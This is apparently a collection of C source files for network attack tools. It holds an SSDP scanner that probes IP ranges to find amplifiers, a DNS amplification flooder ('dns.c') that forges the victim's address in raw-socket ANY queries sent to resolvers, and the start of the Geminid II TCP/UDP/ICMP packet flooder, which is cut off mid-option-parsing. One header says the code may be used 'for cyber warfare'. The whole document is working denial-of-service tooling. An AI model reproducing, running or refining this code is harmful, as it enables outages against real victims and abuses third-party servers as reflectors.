257 |         printf("Starting Scan...\n");
258 |         char *temp = (char *)malloc(17);
259 |         memset(temp, 0, 17);
260 |         sprintf(temp, "Found");
261 |         printf("%-16s", temp);
262 |         memset(temp, 0, 17);
263 |         sprintf(temp, "Host/s");
264 |         printf("%-16s", temp);
265 |         memset(temp, 0, 17);
266 |         sprintf(temp, "B/s");
267 |         printf("%-16s", temp);
268 |         memset(temp, 0, 17);
269 |         sprintf(temp, "Running Thrds");
270 |         printf("%-16s", temp);
271 |         memset(temp, 0, 17);
272 |         sprintf(temp, "Done");
273 |         printf("%s", temp);
274 |         printf("\n");
275 |  
276 |         char *new;
277 |         new = (char *)malloc(16*6);
278 |         while (running_threads > 0)
279 |         {
280 |                 printf("\r");
281 |                 memset(new, '\0', 16*6);
282 |                 sprintf(new, "%s|%-15lu", new, found_srvs);
283 |                 sprintf(new, "%s|%-15d", new, scanned);
284 |                 sprintf(new, "%s|%-15d", new, bytes_sent);
285 |                 sprintf(new, "%s|%-15d", new, running_threads);
286 |                 memset(temp, 0, 17);
287 |                 int percent_done=((double)(hosts_done)/(double)(toscan))*100;
288 |                 sprintf(temp, "%d%%", percent_done);
289 |                 sprintf(new, "%s|%s", new, temp);
290 |                 printf("%s", new);
291 |                 fflush(stdout);
292 |                 bytes_sent=0;
293 |                 scanned = 0;
294 |                 sleep(1);
295 |         }
296 |         printf("\n");
297 |         fclose(fd);
298 |         return 0;
299 | }


--------------------------------------------------------------------------------
/ssdp_scanner.c.c:
--------------------------------------------------------------------------------
  1 | /* SSDP SCANNER SCRIPT */
  2 | #include <pcap.h>
  3 | #include <stdio.h>
  4 | #include <stdlib.h> // for exit()
  5 | #include <string.h> //for memset
  6 | #include <sys/ioctl.h>
  7 | #include <net/if.h>
  8 | #include <sys/socket.h>
  9 | #include <arpa/inet.h> // for inet_ntoa()
 10 | #include <net/ethernet.h>
 11 | #include <netinet/udp.h> //Provides declarations for udp header
 12 | #include <netinet/ip.h>  //Provides declarations for ip header
 13 | #include <pthread.h>
 14 | #include <semaphore.h>
 15 | #include <signal.h>
 16 | #include <sys/resource.h>
 17 | #include <unistd.h>
 18 |  
 19 | void process_packet(void *args, struct pcap_pkthdr *header, void *buffer);
 20 |  
 21 | struct buffer
 22 | {
 23 |         void *data;
 24 |         int size;
 25 |         struct buffer *next;
 26 |         struct buffer *prev;
 27 | };
 28 | struct buffer *head;
 29 |  
 30 | char *ipv4;
 31 | int processed,over,total,i,j;
 32 | struct sockaddr_in dest;
 33 | pthread_mutex_t buf_mutex = PTHREAD_MUTEX_INITIALIZER;
 34 | sem_t loop_sem;
 35 | int running_threads = 0;
 36 | volatile int found_srvs = 0;
 37 | volatile unsigned long per_thread = 0;
 38 | volatile unsigned long start = 0;
 39 | volatile unsigned long scanned = 0;
 40 | int sleep_between = 0;
 41 | volatile int bytes_sent = 0;
 42 | volatile unsigned long hosts_done = 0;
 43 | FILE *fd;
 44 |  
 45 | void *readthread()
 46 | {
 47 |         struct buffer *ourhead = head;
 48 |         struct sockaddr_in saddr;
 49 |         while(1)
 50 |         {
 51 |                 sem_wait(&loop_sem);
 52 |                 while(ourhead->data == NULL){ ourhead = ourhead->next; }
 53 |                 pthread_mutex_lock(&buf_mutex);
 54 |                 void *buf = malloc(ourhead->size);
 55 |                 int size = ourhead->size;
 56 |                 memcpy(buf, ourhead->data, ourhead->size);
 57 |                 free(ourhead->data);
 58 |                 ourhead->data = NULL;
 59 |                 ourhead->size = 0;
 60 |                 pthread_mutex_unlock(&buf_mutex);
 61 |                 memset(&saddr, 0, sizeof(saddr));
 62 |                 struct iphdr *iph = (struct iphdr*)(buf + sizeof(struct ethhdr));
 63 |                 saddr.sin_addr.s_addr = iph->saddr;
 64 |                 struct udphdr *udph = (struct udphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr));
 65 |                 if(ntohs(udph->source) == 1900)
 66 |                 {
 67 |                         int body_length = size - sizeof(struct ethhdr) - sizeof(struct iphdr) - sizeof(struct udphdr);
 68 |                         fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
 69 |                         fflush(fd);
 70 |                         found_srvs++;
 71 |                 }
 72 |                 free(buf);
 73 |                 processed++;
 74 |                 ourhead = ourhead->next;
 75 |         }
 76 | }
 77 |  
 78 | void *flood(void *par1)
 79 | {
 80 |         running_threads++;
 81 |         int thread_id = (int)par1;
 82 |         unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
 83 |         unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
 84 |         unsigned long w;
 85 |         int y;
 86 |         unsigned char buf[65536];
 87 |         strcpy(buf, "M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n");
 88 |         int sizeofpayload = 90;
 89 |         int sock;
 90 |         if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
 91 |                 perror("cant open socket");
 92 |                 exit(-1);
 93 |         }
 94 |         for(w=ntohl(start_ip);w<htonl(end);w++)
 95 |         {
 96 |                 struct sockaddr_in servaddr;
 97 |                 bzero(&servaddr, sizeof(servaddr));
 98 |                 servaddr.sin_family = AF_INET;
 99 |                 servaddr.sin_addr.s_addr=htonl(w);
100 |                 servaddr.sin_port=htons(1900);
101 |                 sendto(sock,(char *)buf,sizeofpayload,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
102 |                 bytes_sent+=sizeofpayload;
103 |                 scanned++;
104 |                 hosts_done++;
105 |                 usleep(sleep_between*1000);
106 |         }
107 |         close(sock);
108 |         running_threads--;
109 |         return;
110 | }
111 |  
112 | void sighandler(int sig)
113 | {
114 |         fclose(fd);
115 |         printf("\n");
116 |         exit(0);
117 | }
118 |  
119 | void *printthread(void *argvs)
120 | {
121 |         char **argv = (char **)argvs;
122 |         int threads = atoi(argv[4]);
123 |         pthread_t thread;
124 |         sleep(1);
125 |         char *str_start = malloc(18);
126 |         memset(str_start, 0, 18);
127 |         str_start = argv[1];
128 |         char *str_end = malloc(18);
129 |         memset(str_end, 0, 18);
130 |         str_end = argv[2];
131 |         start = inet_addr(str_start);
132 |         per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
133 |         unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
134 |         int i;
135 |         for(i = 0;i<threads;i++){
136 |                 pthread_create( &thread, NULL, &flood, (void *) i);
137 |         }
138 |         sleep(1);
139 |         printf("Starting Scan...\n");
140 |         char *temp = (char *)malloc(17);
141 |         memset(temp, 0, 17);
142 |         sprintf(temp, "Found");
143 |         printf("%-16s", temp);
144 |         memset(temp, 0, 17);
145 |         sprintf(temp, "Host/s");
146 |         printf("%-16s", temp);
147 |         memset(temp, 0, 17);
148 |         sprintf(temp, "B/s");
149 |         printf("%-16s", temp);
150 |         memset(temp, 0, 17);
151 |         sprintf(temp, "Running Thrds");
152 |         printf("%-16s", temp);
153 |         memset(temp, 0, 17);
154 |         sprintf(temp, "Done");
155 |         printf("%s", temp);
156 |         printf("\n");
157 |  
158 |         char *new;
159 |         new = (char *)malloc(16*6);
160 |         while (running_threads > 0)
161 |         {
162 |                 printf("\r");
163 |                 memset(new, '\0', 16*6);
164 |                 sprintf(new, "%s|%-15lu", new, found_srvs);
165 |                 sprintf(new, "%s|%-15d", new, scanned);
166 |                 sprintf(new, "%s|%-15d", new, bytes_sent);
167 |                 sprintf(new, "%s|%-15d", new, running_threads);
168 |                 memset(temp, 0, 17);
169 |                 int percent_done=((double)(hosts_done)/(double)(toscan))*100;
170 |                 sprintf(temp, "%d%%", percent_done);
171 |                 sprintf(new, "%s|%s", new, temp);
172 |                 printf("%s", new);
173 |                 fflush(stdout);
174 |                 bytes_sent=0;
175 |                 scanned = 0;
176 |                 sleep(1);
177 |         }
178 |         printf("\n");
179 |         fclose(fd);
180 |         exit(0);
181 | }
182 |  
183 | int main(int argc, char *argv[ ])
184 | {
185 |         if(argc < 6){
186 |                 fprintf(stderr, "Invalid parameters!\n");
187 |                 fprintf(stdout, "Usage: %s <ip range start (192.168.0.0)> <ip range end (192.168.255.255)> <outfile> <threads> <scan delay in ms>\n", argv[0]);
188 |                 exit(-1);
189 |         }
190 |         fd = fopen(argv[3], "a");
191 |         sleep_between = atoi(argv[5]);
192 |  
193 |         int num_threads = atoi(argv[4]);
194 |  
195 |         const rlim_t kOpenFD = 1024 + (num_threads * 2);
196 |         struct rlimit rl;
197 |         int result;
198 |         rl.rlim_cur = kOpenFD;
199 |         rl.rlim_max = kOpenFD;
200 |         result = setrlimit(RLIMIT_NOFILE, &rl);
201 |         if (result != 0)
202 |         {
203 |                 perror("setrlimit_nofile");
204 |                 fprintf(stderr, "setrlimit_nofile returned result = %d\n", result);
205 |         }
206 |         bzero(&rl, sizeof(struct rlimit));
207 |         rl.rlim_cur = 256 * 1024;
208 |         rl.rlim_max = 4096 * 1024;
209 |         result = setrlimit(RLIMIT_STACK, &rl);
210 |         if (result != 0)
211 |         {
212 |                 perror("setrlimit_stack");
213 |                 fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
214 |         }
215 |  
216 |         signal(SIGINT, &sighandler);
217 |  
218 |         pcap_if_t *alldevsp;
219 |         pcap_t *handle; //Handle of the device that shall be sniffed
220 |  
221 |         char errbuf[100] , *devname , devs[100][100];
222 |         int count = 1 , n;
223 |  
224 |         if( pcap_findalldevs( &alldevsp , errbuf) )
225 |         {
226 |                 exit(1);
227 |         }
228 |  
229 |         devname = alldevsp->name;
230 |         ipv4 = malloc(16);
231 |         bzero(ipv4, 16);
232 |         struct ifreq ifc;
233 |     int res;
234 |     int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
235 |  
236 |         if(sockfd < 0) exit(-1);
237 |     strcpy(ifc.ifr_name, devname);
238 |     res = ioctl(sockfd, SIOCGIFADDR, &ifc);
239 |     close(sockfd);
240 |         if(res < 0) exit(-1);
241 |     strcpy(ipv4, inet_ntoa(((struct sockaddr_in*)&ifc.ifr_addr)->sin_addr));
242 |         printf("Opening device %s for sniffing ... " , devname);
243 |         handle = pcap_open_live(devname , 65536 , 1 , 0 , errbuf);
244 |  
245 |         if (handle == NULL)
246 |         {
247 |                 fprintf(stderr, "Couldn't open device %s : %s\n" , devname , errbuf);
248 |                 exit(1);
249 |         }
250 |         printf("Done\n");
251 |  
252 |         sem_init(&loop_sem, 0, -1);
253 |         i = 1024*1000;
254 |         while(i--)
255 |         {
256 |                 if(head == NULL)
257 |                 {
258 |                         head = (struct buffer *)malloc(sizeof(struct buffer));
259 |                         bzero(head, sizeof(struct buffer));
260 |                         head->data = NULL;
261 |                         head->size = 0;
262 |                         head->next = head;
263 |                         head->prev = head;
264 |                 } else {
265 |                         struct buffer *new_node = (struct buffer *)malloc(sizeof(struct buffer));
266 |                         bzero(new_node, sizeof(struct buffer));
267 |                         new_node->data = NULL;
268 |                         new_node->size = 0;
269 |                         new_node->prev = head;
270 |                         new_node->next = head->next;
271 |                         head->next = new_node;
272 |                 }
273 |         }
274 |  
275 |         pthread_t prnthread;
276 |         pthread_create( &prnthread, NULL, &printthread, (void *)argv);
277 |         pthread_t redthread;
278 |         pthread_create( &redthread, NULL, &readthread, NULL);
279 |  
280 |         pcap_loop(handle , -1 , process_packet , NULL);
281 |  
282 |         return 0;
283 | }
284 |  
285 | void process_packet(void *args, struct pcap_pkthdr *header, void *buffer)
286 | {
287 |         int size = header->len;
288 |  
289 |         //Get the IP Header part of this packet , excluding the ethernet header
290 |         struct iphdr *iph = (struct iphdr*)(buffer + sizeof(struct ethhdr));
291 |         memset(&dest, 0, sizeof(dest));
292 |         dest.sin_addr.s_addr = iph->daddr;
293 |  
294 |         if(iph->protocol == 17 && strcmp(inet_ntoa(dest.sin_addr), ipv4) == 0)
295 |         {
296 |                 //toss into buffer
297 |                 if(head->data != NULL) over++;
298 |                 pthread_mutex_lock(&buf_mutex);
299 |                 void *temp = malloc(size);
300 |                 memcpy(temp, buffer, size);
301 |                 head->data = temp;
302 |                 head->size = size;
303 |                 head = head->next;
304 |                 pthread_mutex_unlock(&buf_mutex);
305 |                 sem_post(&loop_sem);
306 |                 total++;
307 |         }
308 | }


--------------------------------------------------------------------------------
/dns.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 |  
  5 | #include <time.h>
  6 | #include <pthread.h>
  7 | #include <unistd.h>
  8 | #include <stdio.h>
  9 | #include <stdlib.h>
 10 | #include <string.h>
 11 | #include <sys/socket.h>
 12 | #include <netinet/ip.h>
 13 | #include <netinet/udp.h>
 14 | #include <arpa/inet.h>
 15 |  
 16 | #define MAX_PACKET_SIZE 8192
 17 | #define PHI 0x9e3779b9
 18 | #define PACKETS_PER_RESOLVER 5
 19 |  
 20 | static uint32_t Q[4096], c = 362436;
 21 |  
 22 | struct list
 23 | {
 24 |                 struct sockaddr_in data;
 25 |                 char domain[256];
 26 |                 int line;
 27 |                 struct list *next;
 28 |                 struct list *prev;
 29 | };
 30 | struct list *head;
 31 |  
 32 | struct thread_data{
 33 |                 int thread_id;
 34 |                 struct list *list_node;
 35 |                 struct sockaddr_in sin;
 36 |                 int port;
 37 | };
 38 |  
 39 | struct DNS_HEADER
 40 | {
 41 |                 unsigned short id; // identification number
 42 |  
 43 |                 unsigned char rd :1; // recursion desired
 44 |                 unsigned char tc :1; // truncated message
 45 |                 unsigned char aa :1; // authoritive answer
 46 |                 unsigned char opcode :4; // purpose of message
 47 |                 unsigned char qr :1; // query/response flag
 48 |  
 49 |                 unsigned char rcode :4; // response code
 50 |                 unsigned char cd :1; // checking disabled
 51 |                 unsigned char ad :1; // authenticated data
 52 |                 unsigned char z :1; // its z! reserved
 53 |                 unsigned char ra :1; // recursion available
 54 |  
 55 |                 unsigned short q_count; // number of question entries
 56 |                 unsigned short ans_count; // number of answer entries
 57 |                 unsigned short auth_count; // number of authority entries
 58 |                 unsigned short add_count; // number of resource entries
 59 | };
 60 |  
 61 | //Constant sized fields of query structure
 62 | struct QUESTION
 63 | {
 64 |         unsigned short qtype;
 65 |         unsigned short qclass;
 66 | };
 67 |  
 68 | //Constant sized fields of the resource record structure
 69 | struct QUERY
 70 | {
 71 |                 unsigned char *name;
 72 |                 struct QUESTION *ques;
 73 | };
 74 |  
 75 | void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
 76 | {
 77 |                 int lock = 0 , i;
 78 |                 strcat((char*)host,".");
 79 |  
 80 |                 for(i = 0 ; i < strlen((char*)host) ; i++)
 81 |                 {
 82 |                                 if(host[i]=='.')
 83 |                                 {
 84 |                                                 *dns++ = i-lock;
 85 |                                                 for(;lock<i;lock++)
 86 |                                                 {
 87 |                                                                 *dns++=host[lock];
 88 |                                                 }
 89 |                                                 lock++; //or lock=i+1;
 90 |                                 }
 91 |                 }
 92 |                 *dns++='\0';
 93 | }
 94 |  
 95 | void init_rand(uint32_t x)
 96 | {
 97 |                 int i;
 98 |  
 99 |                 Q[0] = x;
100 |                 Q[1] = x + PHI;
101 |                 Q[2] = x + PHI + PHI;
102 |  
103 |                 for (i = 3; i < 4096; i++)
104 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
105 | }
106 |  
107 | uint32_t rand_cmwc(void)
108 | {
109 |                 uint64_t t, a = 18782LL;
110 |                 static uint32_t i = 4095;
111 |                 uint32_t x, r = 0xfffffffe;
112 |                 i = (i + 1) & 4095;
113 |                 t = a * Q[i] + c;
114 |                 c = (t >> 32);
115 |                 x = t + c;
116 |                 if (x < c) {
117 |                                 x++;
118 |                                 c++;
119 |                 }
120 |                 return (Q[i] = r - x);
121 | }
122 |  
123 | /* function for header checksums */
124 | unsigned short csum (unsigned short *buf, int nwords)
125 | {
126 |                 unsigned long sum;
127 |                 for (sum = 0; nwords > 0; nwords--)
128 |                 sum += *buf++;
129 |                 sum = (sum >> 16) + (sum & 0xffff);
130 |                 sum += (sum >> 16);
131 |                 return (unsigned short)(~sum);
132 | }
133 |  
134 | void setup_udp_header(struct udphdr *udph)
135 | {
136 |  
137 | }
138 |  
139 | void *flood(void *par1)
140 | {
141 |                 struct thread_data *td = (struct thread_data *)par1;
142 |  
143 |                 fprintf(stdout, "Thread %d started\n", td->thread_id);
144 |  
145 |                 char strPacket[MAX_PACKET_SIZE];
146 |                 int iPayloadSize = 0;
147 |  
148 |                 struct sockaddr_in sin = td->sin;
149 |                 struct list *list_node = td->list_node;
150 |                 int iPort = td->port;
151 |  
152 |                 int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
153 |                 if(s < 0)
154 |                 {
155 |                         fprintf(stderr, "Could not open raw socket. You need to be root!\n");
156 |                         exit(-1);
157 |                 }
158 |  
159 |                 //init random
160 |                 init_rand(time(NULL));
161 |  
162 |                 // Clear the data
163 |                 memset(strPacket, 0, MAX_PACKET_SIZE);
164 |  
165 |                 // Make the packet
166 |                 struct iphdr *iph = (struct iphdr *) &strPacket;
167 |                 iph->ihl = 5;
168 |                 iph->version = 4;
169 |                 iph->tos = 0;
170 |                 iph->tot_len = sizeof(struct iphdr) + 38;
171 |                 iph->id = htonl(54321);
172 |                 iph->frag_off = 0;
173 |                 iph->ttl = MAXTTL;
174 |                 iph->protocol = IPPROTO_UDP;
175 |                 iph->check = 0;
176 |                 iph->saddr = inet_addr("192.168.3.100");
177 |  
178 |                 iPayloadSize += sizeof(struct iphdr);
179 |  
180 |  
181 |                 struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
182 |                 udph->source = htons(iPort);
183 |                 udph->dest = htons(53);
184 |                 udph->check = 0;
185 |  
186 |                 iPayloadSize += sizeof(struct udphdr);
187 |  
188 |                 struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
189 |                 dns->id = (unsigned short) htons(rand_cmwc());
190 |                 dns->qr = 0; //This is a query
191 |                 dns->opcode = 0; //This is a standard query
192 |                 dns->aa = 0; //Not Authoritative
193 |                 dns->tc = 0; //This message is not truncated
194 |                 dns->rd = 1; //Recursion Desired
195 |                 dns->ra = 0; //Recursion not available! hey we dont have it (lol)
196 |                 dns->z = 0;
197 |                 dns->ad = 0;
198 |                 dns->cd = 0;
199 |                 dns->rcode = 0;
200 |                 dns->q_count = htons(1); //we have only 1 question
201 |                 dns->ans_count = 0;
202 |                 dns->auth_count = 0;
203 |                 dns->add_count = htons(1);
204 |  
205 |                 iPayloadSize += sizeof(struct DNS_HEADER);
206 |  
207 |                 sin.sin_port = udph->source;
208 |                 iph->saddr = sin.sin_addr.s_addr;
209 |                 iph->daddr = list_node->data.sin_addr.s_addr;
210 |                 iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
211 |  
212 |  
213 |                 char strDomain[256];
214 |                 int i;
215 |                 int iAdditionalSize = 0;
216 |                 while(1)
217 |                 {
218 |                                                 usleep(0);
219 |                         //set the next node
220 |                         list_node = list_node->next;
221 |  
222 |                         //Clear the old domain and question
223 |                         memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize);
224 |  
225 |                         //add the chosen domain and question
226 |                         iAdditionalSize = 0;
227 |  
228 |                         unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
229 |  
230 |                         strcpy(strDomain, list_node->domain);
231 |                         ChangetoDnsNameFormat(qname, strDomain);
232 |                         //printf("!!%s %d\n", list_node->domain, list_node->line);
233 |  
234 |                         iAdditionalSize += strlen(qname) + 1;
235 |  
236 |                         struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
237 |                         qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
238 |                         qinfo->qclass = htons(1);
239 |  
240 |                         iAdditionalSize += sizeof(struct QUESTION);
241 |  
242 |                       void *edns = (void *) &strPacket[iPayloadSize + iAdditionalSize];
243 |                 memset(edns+2, 0x29, 1);
244 |                 memset(edns+3, 0x23, 1);
245 |                 memset(edns+4, 0x28, 1);
246 |  
247 |  
248 |                         iAdditionalSize += 11;
249 |  
250 |                         //set new node data
251 |                         iph->daddr = list_node->data.sin_addr.s_addr;
252 |  
253 |                         udph->len= htons((iPayloadSize + iAdditionalSize + 5) - sizeof(struct iphdr));
254 |                         iph->tot_len = iPayloadSize + iAdditionalSize + 5;
255 |  
256 |                         udph->source = htons(rand_cmwc() & 0xFFFF);
257 |                         iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
258 |  
259 |                         //send
260 |                         for(i = 0; i < PACKETS_PER_RESOLVER; i++)
261 |                         {
262 |                                 sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
263 |                         }
264 |                 }
265 | }
266 |  
267 | void ParseResolverLine(char *strLine, int iLine)
268 | {
269 |         char caIP[32] = "";
270 |         char caDNS[512] = "";
271 |  
272 |         int i;
273 |         char buffer[512] = "";
274 |  
275 |         int moved = 0;
276 |  
277 |         for(i = 0; i < strlen(strLine); i++)
278 |         {
279 |                 if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
280 |                 {
281 |                         moved++;
282 |                         continue;
283 |                 }
284 |  
285 |                 if(moved == 0)
286 |                 {
287 |                         caIP[strlen(caIP)] = (char) strLine[i];
288 |                 }
289 |                 else if(moved == 1)
290 |                 {
291 |                         caDNS[strlen(caDNS)] = (char) strLine[i];
292 |                 }
293 |         }
294 |  
295 |         //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
296 |  
297 |         if(head == NULL)
298 |         {
299 |                 head = (struct list *)malloc(sizeof(struct list));
300 |  
301 |                 bzero(&head->data, sizeof(head->data));
302 |  
303 |                 head->data.sin_addr.s_addr=inet_addr(caIP);
304 |                 head->data.sin_port=htons(53);
305 |                 strcpy(head->domain, caDNS);
306 |                 head->line = iLine;
307 |                 head->next = head;
308 |                 head->prev = head;
309 |         }
310 |         else
311 |         {
312 |                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
313 |  
314 |                 memset(new_node, 0x00, sizeof(struct list));
315 |  
316 |                 new_node->data.sin_addr.s_addr=inet_addr(caIP);
317 |                 new_node->data.sin_port=htons(53);
318 |                 strcpy(new_node->domain, caDNS);
319 |                 new_node->prev = head;
320 |                 head->line = iLine;
321 |                 new_node->next = head->next;
322 |                 head->next = new_node;
323 |         }
324 | }
325 |  
326 | int main(int argc, char *argv[ ])
327 | {
328 |         if(argc < 4)
329 |         {
330 |                 fprintf(stderr, "Invalid parameters!\n");
331 |                 fprintf(stdout, "\nUsage: %s <target IP/hostname> <port to hit> <reflection file> <number threads to use> <time>\n", argv[0]);
332 |                 exit(-1);
333 |         }
334 |  
335 |         head = NULL;
336 |  
337 |         char *strLine = (char *) malloc(256);
338 |         strLine = memset(strLine, 0x00, 256);
339 |  
340 |         char strIP[32] = "";
341 |         char strDomain[256] = "";
342 |  
343 |         int iLine = 0; // 0 = ip, 1 = domain.
344 |  
345 |         FILE *list_fd = fopen(argv[3],  "r");
346 |         while(fgets(strLine, 256, list_fd) != NULL)
347 |         {
348 |                 ParseResolverLine(strLine, iLine);
349 |                 iLine++;
350 |         }
351 |  
352 |  
353 |         int i = 0;
354 |         int num_threads = atoi(argv[4]);
355 |  
356 |         struct list *current = head->next;
357 |         pthread_t thread[num_threads];
358 |         struct sockaddr_in sin;
359 |         sin.sin_family = AF_INET;
360 |         sin.sin_port = htons(0);
361 |         sin.sin_addr.s_addr = inet_addr(argv[1]);
362 |         struct thread_data td[num_threads];
363 |  
364 |         int iPort = atoi(argv[2]);
365 |  
366 |                 printf("Flooding %s\n", argv[1], iPort);
367 |  
368 |         for(i = 0; i < num_threads; i++)
369 |         {
370 |                 td[i].thread_id = i;
371 |                 td[i].sin= sin;
372 |                 td[i].list_node = current;
373 |                 td[i].port = iPort;
374 |                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
375 |         }
376 |  
377 |         fprintf(stdout, "Starting Flood...\n");
378 |  
379 |         if(argc > 4)
380 |         {
381 |                 sleep(atoi(argv[5]));
382 |         }
383 |         else
384 |         {
385 |                 while(1)
386 |                 {
387 |                         sleep(1);
388 |                 }
389 |         }
390 |  
391 |         return 0;
392 | }


--------------------------------------------------------------------------------
/Flood.c:
--------------------------------------------------------------------------------
  1 | #include <stdio.h>
  2 | #include <stdlib.h>
  3 | #include <unistd.h>
  4 | #include <netdb.h>
  5 | #include <sys/types.h>
  6 | 
  7 | #ifdef F_PASS
  8 | #include <sys/stat.h>
  9 | #endif
 10 | 
 11 | #include <netinet/in_systm.h>                                                   
 12 | #include <sys/socket.h>
 13 | #include <string.h>
 14 | #include <time.h>
 15 | 
 16 | #ifndef __USE_BSD
 17 | #   define __USE_BSD
 18 | #endif
 19 | 
 20 | #ifndef __FAVOR_BSD
 21 | #   define __FAVOR_BSD
 22 | #endif
 23 | 
 24 | #include <netinet/in.h>
 25 | #include <netinet/ip.h>
 26 | #include <netinet/tcp.h>
 27 | #include <netinet/udp.h>
 28 | #include <netinet/ip_icmp.h>
 29 | #include <arpa/inet.h>
 30 | 
 31 | 
 32 | #ifdef LINUX
 33 | #   define FIX(x)  htons(x)
 34 | #else
 35 | #   define FIX(x)  (x)
 36 | #endif
 37 | 
 38 | 
 39 | /* Geminid attack flags */
 40 | #define TCP_ACK         1
 41 | #define TCP_FIN         2
 42 | #define TCP_SYN         4
 43 | #define TCP_RST         8
 44 | #define UDP_CFF        16
 45 | #define ICMP_ECHO_G    32
 46 | #define TCP_NOF        64 /* -N */
 47 | 
 48 | /* No flag attack */
 49 | #define TH_NOF         0x0
 50 | 
 51 | #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
 52 |                          a_flags & TCP_FIN ||\
 53 |                          a_flags & TCP_SYN ||\
 54 |                          a_flags & TCP_RST ||\
 55 |                          a_flags & TCP_NOF)
 56 | 
 57 | 
 58 | #define UDP_ATTACK()    (a_flags & UDP_CFF)
 59 | #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
 60 | 
 61 | 
 62 | #define CHOOSE_DST_PORT() dst_sp == 0 ?\
 63 |                           random ()   :\
 64 |                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
 65 | 
 66 | 
 67 | #define CHOOSE_SRC_PORT() src_sp == 0 ?\
 68 |                           random ()   :\
 69 |                           htons(src_sp + (random() % (src_ep -src_sp +1)));
 70 | 
 71 | 
 72 | #define SEND_PACKET()   if (sendto(rawsock,\
 73 |                                    &packet,\
 74 |                                    (sizeof packet),\
 75 |                                    0,\
 76 |                                    (struct sockaddr *)&target,\
 77 |                                     sizeof target) < 0) {\
 78 |                                         perror("sendto");\
 79 |                                         exit(-1);\
 80 |                         }
 81 | 
 82 | 
 83 | 
 84 | /* Linux / SunOS x86 / FreeBSD */
 85 | //#define BANNER_CKSUM 54018
 86 | 
 87 | /* SunOS Sparc */
 88 | #define BANNER_CKSUM 723
 89 | 
 90 | 
 91 | u_long lookup(const char *host);
 92 | unsigned short in_cksum(unsigned short *addr, int len);                         
 93 | static void inject_iphdr(struct ip *ip, u_char p, u_char len);
 94 | char *class2ip(const char *class);
 95 | static void send_tcp(u_char th_flags);
 96 | static void send_udp(u_char garbage);
 97 | static void send_icmp(u_char garbage);
 98 | char *get_plain(const char *crypt_file, const char *xor_data_key);
 99 | static void usage(const char *argv0);
100 | 
101 | 
102 | u_long dstaddr;
103 | u_short dst_sp, dst_ep, src_sp, src_ep;
104 | char *src_class, *dst_class;
105 | int a_flags, rawsock;
106 | struct sockaddr_in target;
107 | 
108 | /* Self promotion :) */
109 | const char *banner = "Geminid II. by live [TCP/UDP/ICMP Packet flooder]";
110 | 
111 | struct pseudo_hdr {         /* See RFC 793 Pseudo Header */
112 |     u_long saddr, daddr;    /* source and dest address   */
113 |     u_char mbz, ptcl;       /* zero and protocol         */
114 |     u_short tcpl;           /* tcp length                */
115 | };
116 | 
117 | struct cksum {
118 |     struct pseudo_hdr pseudo;
119 |     struct tcphdr tcp;
120 | };
121 | 
122 | 
123 | struct {
124 |     int gv; /* Geminid value */
125 |     int kv; /* Kernel value */
126 |     void (*f)(u_char);
127 | } a_list[] = {
128 | 
129 |         /* TCP */
130 |     { TCP_ACK, TH_ACK, send_tcp },
131 |     { TCP_FIN, TH_FIN, send_tcp },
132 |     { TCP_SYN, TH_SYN, send_tcp },
133 |     { TCP_RST, TH_RST, send_tcp },
134 |     { TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */
135 | 
136 |         /* UDP */
137 |     { UDP_CFF, 0, send_udp }, 
138 | 
139 |         /* ICMP */
140 |     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
141 |     { 0, 0, (void *)NULL },
142 | };
143 | 
144 | 
145 | int
146 | main(int argc, char *argv[])
147 | {
148 |     int n, i, on = 1;
149 |     int b_link;
150 | #ifdef F_PASS
151 |     struct stat sb;
152 | #endif
153 |     unsigned int until;
154 | 
155 | 
156 |     a_flags = dstaddr = i = 0;
157 |     dst_sp = dst_ep = src_sp = src_ep = 0;
158 |     until = b_link = -1;
159 |     src_class = dst_class = NULL;
160 |     while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
161 |         char *p;
162 | 
163 |         switch (n) {
164 |             case 'T': /* TCP attack 
165 |                        *
166 |                        * 0: ACK
167 |                        * 1: FIN
168 |                        * 2: RST
169 |                        * 3: SYN
170 |                        */
171 | 
172 |                 switch (atoi(optarg)) {
173 |                     case 0: a_flags |= TCP_ACK; break;
174 |                     case 1: a_flags |= TCP_FIN; break;
175 |                     case 2: a_flags |= TCP_RST; break;
176 |                     case 3: a_flags |= TCP_SYN; break;
177 |                 }
